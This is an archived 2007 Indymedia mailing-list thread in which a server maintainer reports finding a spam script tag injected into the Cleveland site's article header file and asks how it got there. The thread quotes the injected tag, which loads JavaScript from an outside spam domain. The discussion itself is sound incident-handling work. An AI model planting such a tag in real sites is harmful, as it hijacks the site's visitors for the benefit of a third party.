[Imc-cleveland] suspicious script on cleveland indymedia website

[Kris Harsh]

no idea matt, i haven't fiddled with the site in ages.  probably someone
trying to be baddass.


On 5/14/07, mtoups at indymedia.org <mtoups at indymedia.org> wrote:
>
>
> Hi Cleveland IMC,
>
> I was checking out the great radio show "Community Matters" the other day
> and the NoScript firefox extension in my browser noticed that the site was
> trying to load some javascript code.  I looked closer and it turns out
> that this line is included in every article page (but not the front page):
>
> <script src="
> http://lesbians-porn-free.1us-search.org/partner/V8853PC3I2PC0699P.js
> "></script>
>
> This occurs in the file article_header.inc which is included in every
> article page.  As far as I know the only way to change that include is
> through the admin interface "CSS,INCLUDE, TEMPLATE" section, or by editing
> the file on the server side.  Did someone do this on purpose?  From what I
> can tell the script is just doing some referrer tricks to boost the
> pagerank of some prescription drug sites, essentially a type of spam.
>
> As one of the folks in Pittsburgh maintaining the server hosting
> cleveland.indymedia.org, I can remove this line, but I wanted to check
> with yall about how it got there.  Any ideas?
>
> thanks,
>
> Matt Toups
> Pittsburgh Indymedia
> _________________________________________________________
> "The only truly revolutionary act today
> is to tell the truth about everything."
> -- Robert Anton Wilson
> http://lists.indymedia.org/mailman/listinfo/imc-cleveland
>



-- 
"There's lots of ways to make money in this world, but i can't recommend
insurance fraud" - john darnielle
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.indymedia.org/pipermail/imc-cleveland/attachments/20070514/b30161e0/attachment.htm